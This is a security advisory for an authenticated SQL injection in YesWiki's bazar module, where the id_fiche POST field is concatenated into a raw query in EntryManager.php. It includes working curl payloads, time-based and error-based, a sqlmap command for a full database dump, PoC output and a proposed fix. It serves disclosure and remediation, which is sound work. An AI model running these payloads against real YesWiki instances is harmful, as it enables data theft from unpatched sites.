GHSA-f58v-p6j9-24c2: YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()

April 18, 2026

Vulnerability Details

YesWiki bazar module contains a SQL injection vulnerability in tools/bazar/services/EntryManager.php at line 704. The $data['id_fiche'] value (sourced from $_POST['id_fiche']) is concatenated directly into a raw SQL query without any sanitization or parameterization.

Vulnerable Code (EntryManager.php:704):

$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $data['id_fiche'] . "'"
);

Attack Path:

  1. Attacker authenticates as any user (route requires acl:{"+"})
  2. POST /api/entries/{formId} with id_fiche=' OR SLEEP(3) OR '
  3. ApiController::createEntry() checks isEntry($_POST['id_fiche']) → false (not existing entry) → calls create()
  4. create() → formatDataBeforeSave() → SQL injection at line 704

dbService->loadSingle() passes raw string to mysqli_query() with no escaping. The escape() method exists but is NOT called here.

Docker PoC confirmation:

  • Normal query: SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry' → 2024-01-01 00:00:00
  • Injected: WHERE tag='' OR SLEEP(3) OR '' → elapsed: 3.00s (SLEEP confirmed)
  • Time-based blind SQLi enables full database dump via binary search

Steps to Reproduce

Prerequisites: Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.

Step 1 – Obtain session cookie (standard login via web UI or API)

Step 2 – Time-based blind SQLi (confirm vulnerability):

curl -s -X POST 'http://TARGET/?api/entries/1' \
  -H 'Cookie: wikini_session=<SESSION>' \
  -d "antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '"

→ Response delays ~3 seconds confirming SQL injection.

Step 3 – Error-based SQLi (version exfil):

curl -s -X POST 'http://TARGET/?api/entries/1' \
  -H 'Cookie: wikini_session=<SESSION>' \
  -d "antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -"

→ Returns MySQL version in XPATH error: XPATH syntax error: '~8.4.8'

Step 4 – Full dump via sqlmap:

sqlmap -u 'http://TARGET/?api/entries/1' \
  --data "antispam=1&bf_titre=T&id_fiche=test" \
  -p id_fiche --cookie "wikini_session=<SESSION>" \
  --dbms=MySQL --technique=BET --level=2

Docker PoC Output (confirmed)

[STEP 1] Normal input: Result (2024-01-01 00:00:00)
[STEP 2] id_fiche=' OR SLEEP(3) OR '  → Elapsed: 3.00s ← SLEEP(3) CONFIRMED
[STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -
         DB_ERROR: (1105, "XPATH syntax error: '~8.4.8'")

Root Cause

In tools/bazar/services/EntryManager.php line 704:

$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $data['id_fiche'] . "'"
);

$data['id_fiche'] comes from $_POST['id_fiche'] (user input). DbService::escape() exists but is not called here. loadSingle() passes the raw string directly to mysqli_query().

Proposed Fix

Replace the vulnerable line with parameterized query or call $this->dbService->escape():

$tag = $this->dbService->escape($data['id_fiche']);
$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $tag . "'"
);
